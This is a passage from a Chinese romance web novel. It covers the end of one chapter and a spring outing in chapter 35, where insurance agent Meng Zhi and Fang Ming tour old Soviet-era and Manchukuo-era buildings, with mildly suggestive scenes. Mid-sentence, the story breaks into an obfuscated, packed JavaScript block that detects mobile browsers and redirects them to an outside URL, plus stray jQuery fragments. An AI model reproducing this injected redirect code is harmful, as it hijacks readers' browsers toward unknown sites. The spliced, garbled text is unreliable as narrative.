孟至浑身立起一层绒毛。见她不说话,方铭索性一条腿顶开孟至的双腿。孟至条件反射,想并拢膝盖,结果反而夹住了他的腿。柔软的腿肉触碰着坚实的腿肉,方铭吭了一声,嗓音异常沙哑。粗重的呼吸声徘徊在孟至耳边,温热的气息喷在她的脖子上。 她反剪着手,往后缩了缩,方铭却沉沉地压下来,整个人伏在她的身上。孟至被压得往后仰,方铭托住她的腰,以免让她躺倒在桌子上。店里一片昏暗,炉子的灯光熄灭了,各式佛珠和香鼎反而闪动着微光。孟至的头往后仰着,长长的脖子形成优美的弧度,就像天鹅舞动时引颈的弧度。 方铭稍稍抬起上身,似乎想要像吸血鬼一样叼住她的脖子。但最后他还是克制着直起腰来,轻轻把孟至扶起来,状似愁闷地说:“你会生气的。你生气了吗?” 而孟至双眼圆睁,往里收着下唇,不眨眼地瞪着他。她突然想明白一件事,此前方铭的乖巧根本就是装的。 35. 布拉吉和工装 东北的春季总是似有似无、乍暖还寒。开化以后,街上到处都是黑色的泥水。这期间还下过几场春雪,大地刚刚冰雪消融,又重新上冻,路面上总是翻着一层灰黑的冰沙。直到日历翻到五月份,天气才真正温暖起来,长达半年的冬天彻底结束。过于短暂的春天,总是让孟至有一种错觉,仿佛雪化之后就是初夏。 随着天气转好,她出门拜访客户的频率也在上升。先前她推广的普惠保险果然引起了一些人的注意,这为她的从业打开了大门,知道她的人逐渐多了起来。最近,几个一直在跟的客户主动找上来,流露出想买理财型寿险的意向。 孟至自己做了个简易版Excel测算底稿,用来测算增额终身寿的IRR(内部收益率)。按照计划书上的保证利益,列明每一年的现金流数据,然后计算这若干年间的年化复利收益率,就能透过五花八门的营销话术,直接对比不同产品的长期真实收益。监管部门早有禁令,营销员向客户推销产品时,不可使用自制的野路子课件。所以孟至从不向客户展示这套简易表格,只是每次去见客户之前,会按照这人的情况自己算一算,大致做到心中有数。 此外,孟至还分出不少时间,努力营销着几款分红险产品。经济萧条时期,市场利率下行,反而利好了分红险的销售,孟至借此机会向几位客户推荐过这类保险。她觉得自己手握几路重兵,指挥着它们齐头并进。 在开出今年的第四单之后,孟至大大松了一口气。新的一年,在公司的“开门红”行动结束后,这是属于她自己的“开门红”。这天春光明媚,大街小巷的喧嚣声就像世界在春天时产生的悸动。孟至打开窗户,一边听着这样的悸动声,一边在家进行春季大扫除。她清出来一批穿旧的衣服,准备照例捐给慈善机构。 接着,她从衣柜里刨出来一个大盒子,正是斯基在冬天时送她的那个,孟至一直舍不得拆开,最后竟忙忘了。不假思索地,孟至哗哗拽开丝带,打开盒盖,立刻倒抽一口仙气。盒子里满是轻薄精美的蕾丝和绫罗绸缎,真乃一片温柔乡。她拎一条一条的小布料,才发现那是一件一件的内衣。 那绝非普通的内衣,而是在秘密的、特殊的场合里,在烛光的映照下,在恋人的眼睛里,才会出现的内衣。 孟至拉上窗帘,在幽暗的卧室里逐一试穿,差点把自己看出了鼻血。她又对着镜子拍照,发给斯基致谢,结果差点把斯基也看出了鼻血。在微信上,斯基强烈暗示孟至应该穿着这些小布料跟方铭约会。 想到那样的场景,孟至忽然觉得那种生活十分陌生。因为从小跟家人关系淡漠,她习惯了独居,她的领地里从不会长时间地出现同居者。这些日子她暗自盘算,如果有一天她真的包养了方铭…… 那岂不是会和方铭共处一室,形影不离?这种感觉让她很不适应,光是想想,都会心里泛起涟漪。所以,尽管方铭开春以来又换了几种黑色紧身衣、动不动还会贴着她坐,她却从没有提出让方铭来家里吃饭或看电影。她还在维持着习惯的生活,孤独的生活。 把内衣收好之后,方铭的消息来了。他说今天气温高达二十五度,问孟至想不想出去玩。今天是休息日,也是方铭连续加班一个月之后的首个假期,孟至欣然接受邀请。 她重新打开衣柜,目光检索了一会儿,始终不知道该穿什么。似乎每件衣服都配不上这个春季。她忍不住问方铭:“你今天穿什么?还是紧身衣吗?” 方铭弱弱地回答:“如果你想看,我也可以穿别的……” 孟至灵光乍现:“你有工装吗?” …… 很快,两人在孟至家楼下汇合,一起往老城区走去。方铭穿着一身铁灰色工装,布料很柔软,穿在他身上却异常板正。宽阔的肩膀,把衣服整个架了起来。孟至穿着一条灰蓝色布拉吉,这种前苏联短袖连衣裙是棉布做的,裙摆很宽。为了与娃娃领的风格相配,孟至把她那头深红的长发编成一条蓬松的麻花辫,垂在背后。 他们一起兴高采烈地走过天桥,就像一道异时空的风景线。到处都熙熙攘攘的,迎面而来的风将他们的头发吹向后方。向下看去,树林都长出了树叶,铁轨夹在绿意之间。一列火车从天桥下驶过,发出悠远的回声。 方铭不时看一眼孟至,目光先是经过她的脸和长发,又停留在她的腰间。连衣裙的收腰将上身收束成细而窄的点,由此开始,裙摆像扇面一样散开。孟至故意转脸看着他,假装好奇:“我好看还是你好看?” 方铭耳朵立刻红了,但他还是不动声色地说:“那当然是我好看。” 一辆摩托车呼啸而过,他一手护住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818037|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟至,顺势将她拢到自己身边。然后那只手就停在她的腰间,不动了。孟至酸着脸看了他一眼,意思是你这小子,真是那个。又一辆车经过,他不必要地紧了紧胳膊,解释道:“这里车很多的。” 他的大手往身上一放,带得那片皮肤都在发热。更不用说他的身上还透过来热腾腾的温度。孟至像泥鳅一样滑出他的掌控,顿时觉得凉快起来。方铭略微惆怅地说:“你好小一只,好像细得要搂不住一样。” 孟至不接他的话,噔噔噔几步跑下天桥。方铭两步跟了上来,指着街边的平顶老式居民楼说:“你知道这叫什么吗?” 孟至说:“叫楼。” “这种设计的房子,叫赫鲁晓夫楼。”方铭温和地说,“老工业基地随处可见。” “前面就是我姥姥家,那边有伪满建筑。”孟至拉着方铭的袖口,“我们过去看!”两人继续往前走,穿越几片街区,就像郊游踏青。沿途有卖冰激凌的小店,方铭买了两个。孟至不让方铭咬她的,自己却拿着小勺瓜分他的那份。 方铭脾气很好地说:“你多吃点。” 拐上一条大道,果然看见几座灰蒙蒙的兴亚式建筑,现在已经用作医院、学校和机关单位的办公楼。这些楼一律是平顶上搭配一座尖顶或歇山顶的小塔楼,每层楼举架低矮,窗户开得很小。孟至指着其中一座说:“我小时候觉得这个好看,绿瓦歇山顶,灰褐色墙面。后来长大一点,懂了历史,才知道这些楼怎么来的。” 方铭俯下身来,刻意压低声音:“那里边藏了大和民族的武器,你不知道?” “我怎么不知道?”孟至反客为主,绘声绘色地说,“里面有各种秘密兵器和陷阱,就跟那些古墓一样!你要是夜里一点钟从这里过,走着走着就会发现自己背上背了个人,穿土黄色衣服的……” 方铭深吸一口气,保持着平静淡泊的深色,但孟至觉得他头发都立起来了。他挨上孟至的手臂,森然地说道:“姐姐,你会吓坏我的。” 孟至去他的杯子里偷挖冰激凌,却听见他说:“你现在背上不就有一个?” 听得她不知不觉打了个寒战,急忙回头去看。方铭吭哧着笑了出来,一脸闲适地问:“怎么,你是不是冷了?” 不等孟至回答,他又说:“想不想去泡温泉?”